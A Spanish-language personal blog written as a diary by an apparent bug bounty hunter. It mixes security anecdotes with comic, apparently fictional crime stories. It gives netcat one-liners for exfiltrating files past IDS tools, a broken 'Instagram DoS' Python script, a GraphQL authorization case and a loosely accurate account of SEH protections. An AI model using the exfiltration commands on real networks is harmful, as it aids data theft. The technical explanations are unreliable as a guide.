Viernes, 7 de Septiembre de 2018: Copypasteishon

Querido Diario…

Siempre mover archivos dentro de una red es un poco truculento; y ahora con los IDS’s o las herramientas de DPL, puede ser un martirio más grande. Desde montar compartidos que puedan ser leídos desde donde sea, usar el administrador de conexión de DRP que no sé porque ese si deja, pero una conexión de terminal service normal no, y como siempre, el confiable netcat.

Con netcat podemos mover archivos con gran facilidad, con un sólo comando; aunque los IDS’s comúnmente lo detectarán.

Algunos movimientos simples que pueden servirte, no sé… por ejemplo cuando estas echo bolita dentro de un parlamento extranjero, con ganas de secuestrar a la ministra de economía; o meterlo un tiro al primer ministro… pueden ser estos:

Exfiltraciones:

nc -l -p 12345 > "archivo"

nc -l -p 12345 | tr -d $'\x0d' | base64 -d > "archivo"

Descargas:

nc -l -p 12345 < "archivo"

base64 "archivo" | nc -l -p 12345

Querido Diario, no me gusta el escocés..

Miércoles, 5 de Septiembre de 2018: Lo lindo de lo simple

Querido Diario…

Haya por los años del quién sabe cuando que no recuerdo, Microsoft, hizo una modificación interesante a la forma en que se venía llamado a los Exceptions Handlers; en Windows XP SP1.

Los Exception Handlers son una cadena de “objetos” (en realidad no son objetos, pero llevo todo el día intentado recordar como se llaman exactamente… creo que estructuras, pero no recuerdo, me quedé dormido en esa clase xD), en donde se tienen dos elementos, uno es un puntero al siguiente Exception Handler, y otro es el puntero hacia la acción que va a ejecutar ese Exception Handler. Lo que inicialmente hacían los hackers para explotar algún fallo que encontraban, era modificar el salto del EIP disparando un Exception Handler, y a su vez el Exception Handler, te mandaba hacia una dirección modificada. Para hacer eso, se tenía que ingresar directamente a la dirección de memoria del Exception Handler.

Lo que hizo Microsoft para evitar fue esto, es extremadamente sencillo. Cada que ntdll.dll dispará el SEH Chain (el inicio de la cadena de Exception Handlers) se “XORean” todas las direcciones, de esa forma antes de usarse tienen un 0x00000000, es decir.. se borra todo y se inutilizan. Y listo, así de sencillo no es posible alocar una shellcode allí. Después en Windows 2003 server implementaron el mismo cambio.

Microsoft… siempre a la vanguardia en seguridad, muy por encima de todos los S.O.’s…. (escuche un par de linuxeros rabiar y llorar por allí coff.. coff… esa cosa que aun tiene BOF’s es 2018 😛 )

Lo interesante de esto… es que es muy limpio y muy sencillo, y totalmente válido hasta la fecha para evitar la alocación directa de algún payload en una dirección de memoria. Lo que evita un clásico pop ret, ret, ret o un pop %eax o un mov directo, etc..

Querido Diario…

Siempre me ha encantado los cíclidos por su temperamento. Adoraba los Oscares, y siempre quise un FH…

Martes, 4 de Septiembre de 2018: Tiene que ser una locura…

Querido Diario…

He leído muchas versiones e historias de bug bounty hunters; algunos que dicen que es el mejor empleo del mundo, la cantidad enorme de dinero que ganan… y otras muy malas, otras de aprendizaje y otras de sufrimiento real. Mi historia no es buena… y hoy es “ñeeee”, gracias a que no dependo de ello, y cree una regla a partir de eso. No es lo mismo buscar vulnerabilidades con el estomago vacío que con un rib eye y una copa de vino en la mesa.

Leí este articulo, que me pareció interesante: https://medium.com/@nmalcolm/bug-bounties-and-mental-health-40662b2e497b

Pero no muestra del todo el efecto que puede tener en ti el bug bounty hunting.

Imagina despertar cada día, después de una noche sin dormir; bañarte, cambiarte e ir al Starbucks más cercano y empezar 8 horas diarias. Si encuentras algo, lo explotas, lo reportas y al día siguiente o incluso unas horas después, tendrás en PayPal unos $500 dlls. Nada más para un día de trabajo. Pero no siempre es así…

Había días en los que no encontraba nada, y yo mismo me alentaba con un “bueno.. pero… ayer gané $500 dlls, es más de lo que ganaría la mayor parte de las personas, mañana me irá mejor; puede que mañana gané uno de $1000”. Pero con el tiempo ganaba más. Se terminó en algún punto el dinero para ir a Starcbucks, y terminé en el mismo hotel donde vivía, trabajando y durmiendo… “durmiendo”. Hasta que un día terminé debajo de un puente, y al siguiente fui a pedir dinero como montacarguista.

¿Y por qué?, porque algo que no se menciona en el articulo, no sólo es el estrés, es la frustración y como esa cambia tu forma de trabajo. Yo toda la vida había consultor mimado, el cual ni siquiera trabajaba en un cubiculo, sino me daban una sala de juntas, secretaría para el proyecto, viáticos si era fuera… seguía mi metodología, si encontraba algo bien, sino también, a mi me pagaban y para ser sinceros y por lo que hacía, no me iba nada mal.

Como bug bounty hunter, empecé siguiendo la metodología, y escuchaba en mi cabeza una y otra vez al Ingeniero, quién fuese mi jefe en mi primer empleo “ingeniero.. todas las aplicaciones son iguales, autenticación, autorización, manejo de sesiones… siempre es igual”. Y creo que tiene razón, hacía un TXT y me ponía a trabajar. Pero conforme pasaba el tiempo, dejé el TXT y empecé a explotar juicy bugs, a irme hacia la vulnerabilidad del día anterior, si veía que alguien ya había explotado un fallo en el sitio de EEUU, lo intentaba replicar en el de China… y después de todo eso.. seguía sin nada.

Había días en los que no sé como, pero corría con suerte… otros en los que pasaron meses, sin que ganase algo. Tan pocas veces encontré un fallo, que cuando lo logré, celebraba como si fuese algo especial. Algunas personas dicen que es cosa de constancia, pero… yo era bug bounty hunter 20 horas al día… todos los días.

Morí de hambre… y al principio el hambre me había mejorar, pero la desesperación siempre terminaba ganando. Ese es el verdadero estrés.

Y entonces… ¿es malo ser un bug bounty hunter?, ¿lo dejó?…

Hum… no, pero no es para todos.

Hoy soy un bug bounty hunter, y lo empiezo a disfrutar.. .de hecho me divierto con ello después de pasar horas haciendo cosas aburridas, o después de haber tenido que matar a alguien, o mientras estoy en el hospital todo baleado, uno se desestresa bastante cantando baby girl mientras explota unas vulnerabilidades de SQL injection, pero en mi opinión.. si no eres un hacker de elite, olvídate de vivir de esto únicamente, si quieres complementarlo es perfecto… te encantará el riesgo, aprenderas muchas tecnologías hispter, etc.

¿Qué hago?.. me dedico unas horas en especifico y sólo a eso, unas cuatro horas diarias. Me voy a la metodología, no importa que ya lleve el bounty mucho tiempo, sigo mi TXT (Ingeniero, un saludo)… y cuando es network assessment, no soy agresivo… son el mismo de hace años. que los chinos se peleen, yo estoy en lo mío.

En cuestión de ventas (estoy siguiendo el articul0), a mi no me gustan los públicos… no me gusta Bugcrowd, trabajas mucho tiempo gratis por nada; prefiero HackerOne, Synack, no se diga el modelo de Zerodium.

El aprendizaje.. hum… aprende trucos, lee otros reportes, ve lo que hacen otros y les funciona. No es como que tomes una certificación y aprenderas, como dice Udemy.

Y no gastes todo tu dinero… puedes pasar mucho tiempo viviendo de avena.

Querido Diario… me gusta mucho el canal de este tipo:

 

Domingo, 2 de Septiembre de 2018: La caracola mágica

Querido Diario..

Era como un Bioparque estrella, pero con más puercos. Entonces me insistió en que entrase, aunque yo no estaba tan seguro, porque no creo en esas cosas, pero al final, me ganó la curiosidad y entré

- Hi
- Hola
- ¿Español?
- Yes, digo si
- Sientante - y me senté enfrente de unas cartas tipo Sakura Card Captors
- Dime, ¿a que has venido?
- A un concierto
- ¿A un concierto o a conocer tu destino?
- A un concierto
- Dime, ¿cómo te llamas?
- Augusto
- Hum... tu nombre dice mucho Augusto
- ¿Qué dice?
- Toma este maso y acomoda las cartas como tu prefieras - tomé las cartas y las acomodé
- Hum... interesante - de reojo vi las cartas, yo no veía nada raro - pronto habrá una situación difícil que enfrentar, pero como siempre, y cuando todos crean fallarás, saldrás airoso y volverás a casa sin un rasguño
- ¿En serio?, ¡demonios!
- Veo un gran futuro profesional, una gran carrera... grandes cambios vienen para ti
- Ouuu si, ahora soy contrabandista interncional
- Tres hijos en tu camino
- Hum... creo que necesitaré comprar una camioneta. ¡Pobre Shellcode!, la van a querer agarrar de pony... 
- Escucha bien a algunas personas
- Hum... yo tengo fama de nunca escuchar a nadie
- Por eso las debes de escuchar - diablos, pide peras al olmo - alguien te hará sentir algo, muy, muy deprisa
- ¿Qué tan deprisa?, ¿cómo que sentir?, ¿me van a volver a torturar?... demonios, bueno.. al menos va a ser muy, muy deprisa; porque las torturas lentas son las que cuestan mucho trabajo resistir
- No, esto es diferente.... es algo que tal vez te asuste
- Hum.. ¿tortura psicológica?... hum... grr... me trae malos recuerdos
- Puede que te busquen para un conflicto... deja que vengan, que te enfrente, ya sabes como responder
- Pues a tehuacanazos
- Déjale en claro a la gente que no la vas a aguantar, no vas a aguantar ninguna tontería. Que vas a hacer un camino distinto, el que te de la gana. Tu siempre haces eso
- Pues que le puedo decir.. yo creo que es de familia, dicen que mi abuelito era así
- Alguien te está buscando, por todos los medios posibles... quiere algo de ti, que sólo tú puedes darle
- ¡Ahhh! si, Carlos.... le debo unos reportes de Agosto
- No, no es un hombre; es una mujer de ojos claros
- Ouuuu... la Licenciada, le debo unas ordenes de compra. Lo anotaré en mi todo-list - y lo anoté en Evernote
- Será tu decisión dárselo o no, escucha tu corazón
- No psss.. tengo que hacerlas, porque si no me mata
- Sigue tu camino, que todo se pondrá en orden, todo
- Ok
- Son $20 dlls
- ¿Eu?
- Son $20 dlls
- Diablos... que camino tan costoso - le dejé los $20 dlls y salí

Querido Diario… creo que fui chamaqueado.

Viernes, 31 de Octubre de 2018: Larry Lau

Querido Diario…

Hoy lanzaron un missions op en Synack para un assessment, pero no alcancé ninguna misión. Así que me quedé sin bounties. Por suerte si gané el que encontré estaba semana de Graphql.

Iré a la reunión mensual de Mexicali Open Source… aunque empieza hasta las 7pm y apenas son las 3pm… los días en el desierto siempre se pasan muy lento…

Intenté instalar un Burp Suite crackeado, porque venció la licencia que me regalaron de HackerOne y no funcionó.

Querido Diario… he sido seleccionado, o más bien autorizado; viajaré la siguiente semana a una misión turbia e ilegal a Canadá… la fecha la escogí a propósito. Iré con mi amigo Dario… Dario tiene fama de ir acompañado y siempre volver sólo; yo tengo fama de siempre volver.

Hoy recordé el día en que, hace ya mucho. platicábamos sobre los tatuajes; porque siempre tenía un dibujo que se había hecho en algún sitio. Y jamás le pude explicar el significado del Código QR que tengo, que significa un “puedo imprimirle al mundo entero que te amo”. Y lo recordé por este vídeo:

… que mala persona fui; pero no se puede mentir todo el tiempo… sobre todo no se puede mentir a uno mismo todo el tiempo. Es lo más difícil.

¿Cuál de las dos famas hará efecto una sobre la otra?, ¿la del artillero o la del de seguridad informática?.

Jueves, 30 de Agosto de 2019: Miami style

Querido Diario…

Llegué al aeropuerto temprano a encontrarme con los colegas de la H. Organización Turbia e Ilegal.

- Oooooh vienes listo para Miami - dijo Krusty
- Seeeeh... - dije, mientras me acomodaba el cuello
- Joven - se me quedó mirando Lalo - ¿por qué traes una camisa de florecitas?, está lloviendo, haciendo frío; ayer barrí y junte una montaña de hielo en media hora
- Pues si, pero vamos a Miami shico
- Hum... si somos criminales profesionales, ¿no debiésemos venir en traje? - lo miré con un [inserte emoticón pensante del wassab aquí]

Cada que suceden cosas como hoy, me preguntó “¿qué hice para merece… ¡ah! si, ya me acordé”…

Querido Diario… ¿qué tiene de malo mi playera de florecitas y palmeras?… psss si es Miami shico

Miércoles, 29 de Agosto de 2019: Let me take a #selfie

Querido Diario…

Hace algunos meses, en esos momentos en los que la inspiración me había llegado, el Red Bull estaba en su mejor punto en mis venas y no tenía nada que hacer, encontré un fallo en Instagram (qué buen bounty).

El día de hoy me encontré con que hay una “Denegación de Servicio” para Instagram 😛 … la verdad es que me dio mucha curiosidad y la vi entre a ver:

#!/usr/bin/python

buffer = "A" * 60000
payload = buffer
try:
f=open("Instagram.txt",22"w")
print "[+] Creating %s bytes evil payload.." %len(payload)
f.write(payload)
f.close()
print "[+] File created!"
except:
print "File cannot be created"

Este.. los comentarios me los voy a ahorrar… coff.. coff.. 😛

Hoy he tenido que venir de viaje a la Ciudad de los Tacos y las Garnachas de urgencia, y mañana salimos rumbo a Miami, luego volvemos acá y, bueno.. hay dos opciones; una de ellas es que el Sábado este tranquilamente mudándome de casa, bajo el abrazante Sol cachanillo, o que el viernes estemos entrando a una cárcel gringa vistiendo de naranja por contrabando de equipo militar.

- ¡Joven!, ¡estas vivo! - me dijo Lalo - te mueves como robot y cojeas bien chido, pero estas vivo
- Ots, te lo dije... estoy maldito; yo puedo meterme en medio de explosión nuclear y voy a salir caminando como si nada, un poquito verde, pero caminando
- A ver, subéte la playera, quiero ver como quedaste como quesito gruyer
- Jajaja obvio no :P .. no te voy a mostrar mis carnes
- ¿Ahora cual es la crisis? - dijo, esperando una nueva misión suicida
- El proveedor de Mom falló, y la mercancía la tiene Cristían varada en Miami; y los clientes finales están un poco tensos
- Hum... joven
- ¿Si?
- ¿En qué momento terminé siendo un contrabandista internacional?... ya soy matón a sueldo, tratante de blancas y estafador, pero ¿contrabandista?, eso no tiene cache
- Ñaaaaaam - suspiré
- Joven - interrumpió Lalo2 alias el Becario Papá
- ¿Eu?
- Tengo un problema, creo que mi pasaporte no está actualizado
- Ahhh velo a tramitar aquí al ladito, Aldo ya lo va a sacar mañana.. y me dices cuanto es para que te lo paguen
- Sale... oye, ya ves que habíamos platicado sobre eso de dejar huerfanos; ¿crees que puedas conseguirme un seguro de vida o algo así?, digo... por si no regresamos o nos quedamos una larga temporada por allá
- Hum.. seeeeeeh, yo creo que si se puede. Lo checamos joven Becario, lo checamos
- Me preocupas, te ves demasiado relajado
- Hum.. pues lo más importante es que si de pronto se ponen las cosas feas, hay que correr al lado mexicano.

Fui a la oficina de la Licenciada, para ver la compra de los boletos de avión, balas, armas a usar, chalecos antibalas y viáticos…. a pesar de que era un viaje de ida y regreso; no es lo mismo “operar” con gatilleros que con maRinS gringos.

- Una cosa más, necesito pagarle el pasaporte a Lalo2
- ¿Quién es Lalo2? - ¡oh! es igual que su hermano
- El Becario, el dueño de los servidores de aquí
- ¡Ahhhh si!, el Becario ese que tiene toda llena de basura la sala de aquí al lado
- Ajá, ese mero
- Ok, ¡Señorita RH! - llamó a Señorita RH que estaba fuera - necesito que veas que el muchachito este que es Becario tenga pasaporte
- Ok, veo que hacer
- Si, y hay que ver que todos tengan... porque es muy importante tenerlo, no sabemos cuando vamos a tener que huir del país de un momento a otro
- ¡¿Quéééééé?! - Señorita RH abrió los ojos como plato, y me volteó a ver 
- No quieres saber - le respondí sonriendo

Emociones fuertes…

Querido Diario… cierta personita está muy, muy feliz… hasta canciones normales escucha 😛

 

Martes, 28 de Agosto de 2018: Chou me, baby!

Querido Diario…

Ya que no pude sacar el bounty por “Authorization bypass” hoy he estado trabajando en otra cosa que parece que tuvo mayor fruto. Y de nuevo es como volver a las viejas tecnologías. En este caso JSON. Cuando recién salió Angular JS todo era horrible, ya no se podía soltar solo Acunetix a lo loco y sacar un montón de juicy bugs, ahora todo cambiaba. De hecho la primer vez que me encontré con JSON fue revisando unas aplicaciones muy raras cuando vivía en un pueblo llamado Aguascalientes.

Pues bien, GraphQL no usa exactamente JSON, pero si envía un chorro (un shoooorro) de información que podría resultado medio sensible. Así que sólo hay que configurar el filtro de Burp Suite para poder cachar cosas como usuarios, sesiones, API keys, etc.

Y coff… coff…

Ouuuu si, te recomiendo que revises la documentación de la API que estes consumiendo (en este caso si es un API), porque así puedes saber el tipo de filtros que debes de configurar en Burp Suite.

Espero ahora si pegue, porque ya necesito algo de dinero, después de que me cobraron el deducible del seguro del Mustang mi tarjeta se ve muy, muy, MUY fea.

Querido Diario, quiero cambiarle de alimento a Shellcode, creo que le falta algo de peso y altura, la veo muy chaparrita. ¿Dónde puedo conseguir en Mexicali este alimento?

 

… creo que todo mundo cree que soy una mala persona.

Lunes 27 de Agosto de 2018: Una limosnita por favor, un pesito pa’ un taco

Querido Diario…

Hace un tiempo, en la reunión mensual del Mexicali Open Source Group; conocí GraphQL, que es un proyecto que desarrollo Facebook para poder hacer requests de un solo golpe, que con REST no es posible de hacer. Para eso envían las requests en una estructura definida coff.. coff… en mi opinión muy parecido a lo que se hacía con los WSDL, pero bueno 😛 estamos en el tiempo de las tecnologías hipster.

Básicamente GraphQL está aun muy joven, lo que hace que nuevamente las vulnerabilidades que ya se habían visto hace mucho, vuelvan a aparecer. ¿Y cual es la vulnerabilidad más común que se reportaba en los web services, cuando WSDL o REST?. Así es, problemas en la autorización.

Una request básica usando GraphQL se ve así (ahhh si, yo la ordené para que se viese bonita, porque si tú la sacas directo del HTTP Proxy vas a ver todo en una línea y no lo vas a ver bonito, pero si va así):

POST /accounts/REMOVED/graphql HTTP/1.1

{
  currentUser {
    email
    currentAccount {
      name
      licenseKey
      capabilities {
        name
      }
      apmSubscription: subscription(productLine: "apm") {
        productLine
      }
      infraSubscription: subscription(productLine: "infrastructure") {
        trialEligibility {
          state
        }
        trial {
          endTime
        }
      }
    }
  }
}

Y el response se ve así:

{"data":{"currentUser":{"email":"redacted@gmail.com","currentAccount":{"name":"This is the account name", "licenseKey":"95d24ccefada021a6REDACTED","infraSubscription":{"trialEligibility":{"state":false},"trial":null},"capabilities":[huge list of capabilities],”apmSubscription":{"productLine":"apm"}}}}}

Bueno, bueno.. puede que no te hayas dado cuenta, pero esto que se ve acá es básicamente el response de un administrador; ¡un administrador!, y no un usuario normal. ¿Qué cómo lo sé?, pues porque sé que información da un usuario normal y un administrador, ¿qué como tú lo sabes?… pues he allí el problema.

No lo puedes saber a menos que te encuentres haciendo un assessment tipo DiD o Gray Box con más información; porque sino pues básicamente ves mucha información, pero nada te va a hacer sentido.

Y así… así perdí hoy un bounty de $300 dlls, porque soy incapaz de evidenciar que esta información es sensible, sin que el desarrollar me confirmé un test case de mi request y response.

¡Tecnologías hispter del mal!

Querido Diario… #cachanillas grr.. u.u … 😛

Me duele todo… me siento como si hubiese dormido tre… ouuu… dormí tres semanas. Ahora todo tiene sentido.

En el hospital escuché muchas veces está canción… y me gusta mucho; la tengo en la cabeza todo el tiempo.

No estoy muy seguro si en verdad pasó, pero recuerdo que a las enfermeras les hacía “brrr… brrr…” 😛